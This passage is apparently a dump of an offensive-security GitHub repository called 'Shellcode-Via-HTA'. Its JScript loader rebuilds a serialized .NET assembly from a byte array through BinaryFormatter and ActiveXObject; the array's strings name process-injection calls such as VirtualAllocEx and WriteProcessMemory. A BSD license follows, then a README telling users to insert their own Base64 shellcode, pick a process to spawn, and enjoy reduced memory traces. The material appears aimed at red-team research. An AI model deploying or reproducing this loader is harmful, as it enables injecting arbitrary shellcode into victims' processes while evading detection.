165 | 114,118,105,99,101,115,0,67,111,109,86,105,115,105,98,108,101,65,116,116,114,105,98,117,116,101,0,120,56,54,0,120,
166 | 54,52,0,112,114,111,99,101,115,115,112,97,116,104,0,73,110,116,80,116,114,0,103,101,116,95,83,105,122,101,0,67,
167 | 111,110,118,101,114,116,0,70,114,111,109,66,97,115,101,54,52,83,116,114,105,110,103,0,90,101,114,111,0,83,121,115,
168 | 116,101,109,46,68,105,97,103,110,111,115,116,105,99,115,0,80,114,111,99,101,115,115,0,71,101,116,80,114,111,99,101,
169 | 115,115,66,121,73,100,0,80,114,111,99,101,115,115,84,104,114,101,97,100,67,111,108,108,101,99,116,105,111,110,0,103,
170 | 101,116,95,84,104,114,101,97,100,115,0,80,114,111,99,101,115,115,84,104,114,101,97,100,0,103,101,116,95,73,116,101,
171 | 109,0,103,101,116,95,73,100,0,68,108,108,73,109,112,111,114,116,65,116,116,114,105,98,117,116,101,0,107,101,114,110,
172 | 101,108,51,50,46,100,108,108,0,100,119,68,101,115,105,114,101,100,65,99,99,101,115,115,0,98,73,110,104,101,114,105,
173 | 116,72,97,110,100,108,101,0,108,112,66,97,115,101,65,100,100,114,101,115,115,0,108,112,66,117,102,102,101,114,0,110,
174 | 83,105,122,101,0,108,112,78,117,109,98,101,114,79,102,66,121,116,101,115,87,114,105,116,116,101,110,0,79,117,116,65,
175 | 116,116,114,105,98,117,116,101,0,112,102,110,65,80,67,0,100,119,68,97,116,97,0,108,112,65,100,100,114,101,115,115,
176 | 0,100,119,83,105,122,101,0,102,108,65,108,108,111,99,97,116,105,111,110,84,121,112,101,0,102,108,80,114,111,116,101,
177 | 99,116,0,102,108,78,101,119,80,114,111,116,101,99,116,0,108,112,102,108,79,108,100,80,114,111,116,101,99,116,0,108,
178 | 112,65,112,112,108,105,99,97,116,105,111,110,78,97,109,101,0,108,112,67,111,109,109,97,110,100,76,105,110,101,0,108,
179 | 112,80,114,111,99,101,115,115,65,116,116,114,105,98,117,116,101,115,0,108,112,84,104,114,101,97,100,65,116,116,114,105,
180 | 98,117,116,101,115,0,98,73,110,104,101,114,105,116,72,97,110,100,108,101,115,0,100,119,67,114,101,97,116,105,111,110,
181 | 70,108,97,103,115,0,108,112,69,110,118,105,114,111,110,109,101,110,116,0,108,112,67,117,114,114,101,110,116,68,105,114,
182 | 101,99,116,111,114,121,0,108,112,83,116,97,114,116,117,112,73,110,102,111,0,108,112,80,114,111,99,101,115,115,73,110,
183 | 102,111,114,109,97,116,105,111,110,0,46,99,99,116,111,114,0,70,108,97,103,115,65,116,116,114,105,98,117,116,101,0,
184 | 83,116,114,117,99,116,76,97,121,111,117,116,65,116,116,114,105,98,117,116,101,0,76,97,121,111,117,116,75,105,110,100,
185 | 0,0,0,3,32,0,0,0,0,0,74,100,44,239,115,104,64,74,181,191,171,146,49,221,215,53,0,8,183,122,92,86,
186 | 25,52,224,137,3,32,0,1,6,32,3,1,14,14,14,2,6,9,7,0,3,24,17,28,2,8,10,0,5,2,24,24,
187 | 29,5,8,16,24,6,0,3,24,24,24,24,8,0,5,24,24,24,8,9,9,9,0,5,2,24,24,8,9,16,9,18,
188 | 0,10,2,14,14,24,24,2,17,16,24,14,16,17,24,16,17,20,4,0,1,9,24,3,6,17,12,4,255,15,31,0,
189 | 4,1,0,0,0,4,2,0,0,0,4,8,0,0,0,4,16,0,0,0,4,32,0,0,0,4,64,0,0,0,4,128,
190 | 0,0,0,4,0,1,0,0,4,0,2,0,0,4,0,4,0,0,4,0,16,0,0,4,0,0,16,0,3,6,17,16,
191 | 4,0,0,0,0,4,0,0,0,1,4,0,0,0,4,4,0,0,0,8,4,0,0,4,0,4,0,0,0,2,4,4,
192 | 0,0,0,4,0,0,8,0,4,0,0,1,0,2,6,24,2,6,14,2,6,6,2,6,8,3,6,17,28,4,32,1,
193 | 1,8,4,32,1,1,2,5,1,0,1,0,0,3,0,0,8,5,0,1,29,5,14,5,0,1,18,37,8,4,32,0,
194 | 18,41,5,32,1,18,45,8,3,32,0,8,22,7,15,14,29,5,17,24,17,20,2,24,24,2,9,18,37,18,41,24,
195 | 24,24,2,4,32,1,1,14,3,0,0,1,5,32,1,1,17,65,8,1,0,8,0,0,0,0,0,30,1,0,1,0,
196 | 84,2,22,87,114,97,112,78,111,110,69,120,99,101,112,116,105,111,110,84,104,114,111,119,115,1,156,49,0,0,0,0,
197 | 0,0,0,0,0,0,190,49,0,0,0,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
198 | 0,0,176,49,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,95,67,111,114,68,108,108,77,
199 | 97,105,110,0,109,115,99,111,114,101,101,46,100,108,108,0,0,0,0,0,255,37,0,32,64,0,0,0,0,0,0,0,
200 | 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
201 | 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,16,0,0,0,24,0,0,128,0,0,
202 | 0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,48,0,0,128,0,0,0,0,0,0,0,0,0,0,
203 | 0,0,0,0,1,0,0,0,0,0,72,0,0,0,88,64,0,0,92,2,0,0,0,0,0,0,0,0,0,0,92,2,
204 | 52,0,0,0,86,0,83,0,95,0,86,0,69,0,82,0,83,0,73,0,79,0,78,0,95,0,73,0,78,0,70,0,
205 | 79,0,0,0,0,0,189,4,239,254,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,63,0,
206 | 0,0,0,0,0,0,4,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,68,0,0,0,1,0,
207 | 86,0,97,0,114,0,70,0,105,0,108,0,101,0,73,0,110,0,102,0,111,0,0,0,0,0,36,0,4,0,0,0,
208 | 84,0,114,0,97,0,110,0,115,0,108,0,97,0,116,0,105,0,111,0,110,0,0,0,0,0,0,0,176,4,188,1,
209 | 0,0,1,0,83,0,116,0,114,0,105,0,110,0,103,0,70,0,105,0,108,0,101,0,73,0,110,0,102,0,111,0,
210 | 0,0,152,1,0,0,1,0,48,0,48,0,48,0,48,0,48,0,52,0,98,0,48,0,0,0,44,0,2,0,1,0,
211 | 70,0,105,0,108,0,101,0,68,0,101,0,115,0,99,0,114,0,105,0,112,0,116,0,105,0,111,0,110,0,0,0,
212 | 0,0,32,0,0,0,48,0,8,0,1,0,70,0,105,0,108,0,101,0,86,0,101,0,114,0,115,0,105,0,111,0,
213 | 110,0,0,0,0,0,48,0,46,0,48,0,46,0,48,0,46,0,48,0,0,0,68,0,18,0,1,0,73,0,110,0,
214 | 116,0,101,0,114,0,110,0,97,0,108,0,78,0,97,0,109,0,101,0,0,0,66,0,101,0,97,0,99,0,111,0,
215 | 110,0,77,0,105,0,103,0,114,0,97,0,116,0,101,0,46,0,100,0,108,0,108,0,0,0,40,0,2,0,1,0,
216 | 76,0,101,0,103,0,97,0,108,0,67,0,111,0,112,0,121,0,114,0,105,0,103,0,104,0,116,0,0,0,32,0,
217 | 0,0,76,0,18,0,1,0,79,0,114,0,105,0,103,0,105,0,110,0,97,0,108,0,70,0,105,0,108,0,101,0,
218 | 110,0,97,0,109,0,101,0,0,0,66,0,101,0,97,0,99,0,111,0,110,0,77,0,105,0,103,0,114,0,97,0,
219 | 116,0,101,0,46,0,100,0,108,0,108,0,0,0,52,0,8,0,1,0,80,0,114,0,111,0,100,0,117,0,99,0,
220 | 116,0,86,0,101,0,114,0,115,0,105,0,111,0,110,0,0,0,48,0,46,0,48,0,46,0,48,0,46,0,48,0,
221 | 0,0,56,0,8,0,1,0,65,0,115,0,115,0,101,0,109,0,98,0,108,0,121,0,32,0,86,0,101,0,114,0,
222 | 115,0,105,0,111,0,110,0,0,0,48,0,46,0,48,0,46,0,48,0,46,0,48,0,0,0,0,0,0,0,0,0,
223 | 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
224 | 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
225 | 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
226 | 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
227 | 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
228 | 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
229 | 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
230 | 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
231 | 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
232 | 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
233 | 0,0,0,0,0,0,0,48,0,0,12,0,0,0,208,49,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
234 | 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
235 | 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
236 | 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
237 | 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
238 | 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
239 | 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
240 | 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
241 | 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
242 | 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
243 | 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
244 | 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
245 | 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
246 | 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
247 | 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
248 | 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
249 | 0,0,0,0,0,0,1,13,0,0,0,4,0,0,0,9,23,0,0,0,9,6,0,0,0,9,22,0,0,0,6,26,
250 | 0,0,0,39,83,121,115,116,101,109,46,82,101,102,108,101,99,116,105,111,110,46,65,115,115,101,109,98,108,121,32,76,
251 | 111,97,100,40,66,121,116,101,91,93,41,8,0,0,0,10,11
252 | ];
253 | var entry_class = 'TestClass';
254 |
255 | try {
256 | var stm = new ActiveXObject('System.IO.MemoryStream');
257 | var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');
258 | var al = new ActiveXObject('System.Collections.ArrayList')
259 |
260 | for (i in serialized_obj) {
261 | stm.WriteByte(serialized_obj[i]);
262 | }
263 |
264 | stm.Position = 0;
265 | var n = fmt.SurrogateSelector;
266 | var d = fmt.Deserialize_2(stm);
267 | al.Add(n);
268 | var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);
269 |
270 | } catch (e) {
271 | WScript.Echo(e.message);
272 | }
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | BSD 3-Clause License
2 |
3 | Copyright (c) 2017, Casey Smith
4 | All rights reserved.
5 |
6 | Redistribution and use in source and binary forms, with or without
7 | modification, are permitted provided that the following conditions are met:
8 |
9 | * Redistributions of source code must retain the above copyright notice, this
10 | list of conditions and the following disclaimer.
11 |
12 | * Redistributions in binary form must reproduce the above copyright notice,
13 | this list of conditions and the following disclaimer in the documentation
14 | and/or other materials provided with the distribution.
15 |
16 | * Neither the name of the copyright holder nor the names of its
17 | contributors may be used to endorse or promote products derived from
18 | this software without specific prior written permission.
19 |
20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
30 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Shellcode-Via-HTA
2 | How To Execute Shellcode via HTA
3 |
4 | This project depends heavily on the work here: https://github.com/tyranid/DotNetToJScript
5 |
6 | All you should need to do is update shellcode Base64 Array in HTA file. And Choose Custom Process to Spwan
7 |
8 | Improvements - No RWX pages left in memory.
9 |
10 | Enjoy!
11 |
--------------------------------------------------------------------------------